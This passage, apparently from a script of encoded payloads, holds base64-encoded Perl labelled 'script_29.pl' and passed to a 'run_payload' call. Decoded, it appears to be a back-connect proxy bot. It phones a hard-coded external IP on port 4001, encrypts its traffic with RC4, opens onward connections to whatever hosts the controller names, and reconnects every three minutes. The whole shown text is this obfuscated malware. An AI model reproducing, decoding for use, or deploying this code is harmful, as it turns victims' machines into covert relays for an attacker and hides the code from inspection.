b3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_29.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc4JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWY